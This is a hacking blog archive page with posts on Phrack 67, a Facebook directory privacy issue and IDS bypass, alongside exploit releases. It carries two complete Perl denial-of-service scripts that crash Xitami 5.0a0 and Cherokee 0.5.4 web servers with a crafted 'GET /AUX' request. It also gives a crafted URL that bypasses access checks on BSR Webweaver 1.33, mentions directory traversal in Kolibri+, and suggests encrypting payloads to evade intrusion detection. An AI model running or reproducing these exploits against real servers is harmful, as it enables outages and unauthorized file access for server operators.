Category Archives: Hacking & Security

Phrack 67 !!


Phrack is one of Β THE best hacking E-zines in the world !! Phrack’s 67th issue just released ! The most awaited release was a very big disappointment ! Phrack was and is known for its new technically super rich content about the Hidden networks, Compromising new technologies etc but this release was , except a few articles , very basic. For instance an awesome article on ProFTPd rooting but it was for an old version infact a very old version of the Software which was a bummer because getting your hands on a zero-day for proftpd would have been awesome ! πŸ˜€

Phrack team had alot of problem (apparently) before the release of this Issue of Phrack ! Β I dont know the exact issues but still they delayed it many times. Β The whole team is different for issue 67 ! Maybe that was the problem ? Well the authors of Phrack 67 would be knowing that better.

All in all it was an ok release ! But if compared with the past releases , it was nothing !! I hope another issue comes out soon ! Maybe even this year πŸ˜€ !

Peace !

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Facebook Attack

Hey all ,

I was browsing through the net when I came across a Blog , which stated “Return of the Facebook Snatchers” .Β So naturally I opened the page and found , the ultimate breach of privacy for the Facebook Users !

Any one , even the users not registered at facebook can see the whole list of Users globally ! That is those profiles which are set to be found in their privacy list ! Check the Facebook Directory .

The original Blog is at : Skull Security.

It is very serious people !!


Xitami/5.0a0 Webserver Denial Of Service Vulnerability

################################################
# Name : Xitami/5.0a0 Denial Of Service
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: 10/05/10
# Tested on Windows 7 !
################################################

Disclaimer: [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]

[*] Download Page : http://www.xitami.com

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description : By sending a crafted GET request [GET /AUX HTTP/1.0] to the server , the server crashes !

[*] Exploitation :

#!/usr/bin/perl
# Xitami/5.0a0 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [10/05/10]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = “AUX”;

$stuff = “GET /”.$packet.” HTTP/1.0\r\n\r\n”;

use IO::Socket::INET;
if (! defined $ARGV[0])
{
print “+========================================================+\n”;
print “+ Program [Xitami/5.0a0 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [10/05/10] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n”;
print “+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

exit;
}

$sock = IO::Socket::INET->new( Proto => “tcp”,PeerAddr => $host , PeerPort => $PORT) || die “Cant connect to $host!”;
print “+========================================================+\n”;
print “+ Program [Xitami/5.0a0 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [10/05/10] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n”;
print “+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

print “\n”;

print “[*] Initializing\n”;

sleep(2);

print “[*] Sendin DOS Packet \n”;

send ($sock , $stuff , 0);
print “[*] Crashed πŸ™‚ \n”;
$res = recv($sock,$response,1024,0);
print $response;

exit;


Food for thought !!

Hey every body !! Its been along time i posted on my blog ! I recently had an interview with some security managers of a Multi National Company ! We discussed about alot of Network Security Issues ! Although my mind was kinda rusted because i have lately been working on Web Application vulnerabilities and bypass etc ! i was asked a few questions regarding IDS bypass ! That how it can be done ! and also questions about how to secure the internal network from browser exploits and web worms.And another problem to manage thousands of computers on a remote home/corporate network.

Well there were many solutions. We discussed some of them there but then it kept me thinking. So i came up with a solution.

Back in 2007 i was working with SUNray Thin Clients !! As you can see in the picture below ! What it does is exactly what dumb terminals used to do !They get booted from a remote server and every thing is loaded from that server. The problem was the remote management of 1000s of computers accross the country ! Now with this one can easily boot remote sunray clients through Satellite , from the central server at a central location.

Now the issues that could arise are that sunray thin clients are not a very good solution in some situations , that is if some one wants to use USB or some Director level dude wants to have full controll over which applications he/she has access to , is very difficult ! And then this solution fails. But normally it is the best solution for remote management of computers.

The second problem was IDS bypass ! Well that is pretty simple , what IDS/IDP Systems do is , that it scans the payload on the application layer level to check for anomaly or checks against a DB with signatures and also has many other ways to detect. But I am going to look at theΒ  Application Layer level portion of the above sentence. Well to bypass it one can easily encrypt the payload ! Now it can be stopped by checking the destination port and that can also be changed !

The third one was to check n mitigate web browser attacks well the solution for that is Websense module for different Hardware firewalls and proxies , which scans the webtraffic for malicious traffic. πŸ˜‰ ! Feel free to comment , if there are more solutions for the problems !

Stay safe πŸ™‚


Cherokee Web Server 0.5.4 Denial Of Service

#######################################################
#
# Name : Cherokee Web Server 0.5.4 Denial Of Service
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: Β Xc0re.net
# DATE: 25/10/09
# Tested on Windows !
#######################################################

Disclaimer: [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]

[*] Download Page : http://www.cherokee-project.com/download/windows/

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description : By sending a crafted GET request [GET /AUX HTTP/1.1] to the server , the server crashes !

[*] Exploitation :

#!/usr/bin/perl
# Cherokee Web Server 0.5.4 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [25/10/09]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = “AUX”;

$stuff = “GET /”.$packet.” HTTP/1.1\r\n” .
“User-Agent:Bitch/1.0 (Windows NT 5.1; U; en)\r\n” .
“Host:127.0.0.1\r\n”.
“Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n”.
“Accept-Language: en-US,en;q=0.9\r\n”.
“Accept-Charset: iso-8859-1,*,utf-8\r\n”.
“Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\n\r\n”;

use IO::Socket::INET;
if (! defined $ARGV[0])
{
print “+========================================================+\n”;
print “+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [25/10/09] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n”;
print “+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

exit;
}

$sock = IO::Socket::INET->new( Proto => “tcp”,PeerAddr => $host , PeerPort => $PORT) || die “Cant connect to $host!”;
print “+========================================================+\n”;
print “+ Program [Cherokee Web Server 0.5.4 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [25/10/09] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n”;
print “+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

print “\n”;

print “[*] Initializing\n”;

sleep(2);

print “[*] Sendin DOS Packet \n”;

send ($sock , $stuff , 0);
print “[*] Crashed πŸ™‚ \n”;
$res = recv($sock,$response,1024,0);
print $response;

exit;


BSR Webweaver 1.33 /script security Bypass vulnerability

BSR Webweaver 1.33

Author : Usman Saeed , Exploit @ Xc0re Security Research Group.

[*] Date: 15/09/09

[*] http://www.brswebweaver.com/downloads.html

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description : In ISAPI/CGI path is [%installdirectory%/scripts] and through HTTP the alias is [http://[host]/scripts] ,The access security check is that if the attacker tries to access /scripts a 404 Error response occurs ! Now to bypass and check the directory listing [That is if Directory Browsing is allowed in the server Configuration !] just copy and paste the exploit url !.
This is the reason this exploit is not called a Directory Listing Exploit !

[*] Exploitation :

[+] http://%5Bhost%5D/scripts/%bg%ae%bg%ae/.exe


Kolibri+ Webserver 2 Multiple Vulnerabilities

Kolibri+ Webserver 2 suffers from multiple vulnerabilities namely Directory Traversal &Β  Denial OF Service. Vulnerability was reported on 6th of September 2009 by Xc0re Security Research Group.

http://xc0re.net/index.php?p=1_19_Kolibri+-Webserver-2-multiple-vulnerabilities

An attacker can easily crash the server , or send a crafted http request to escape the root directory and view any file , even outside the root directory.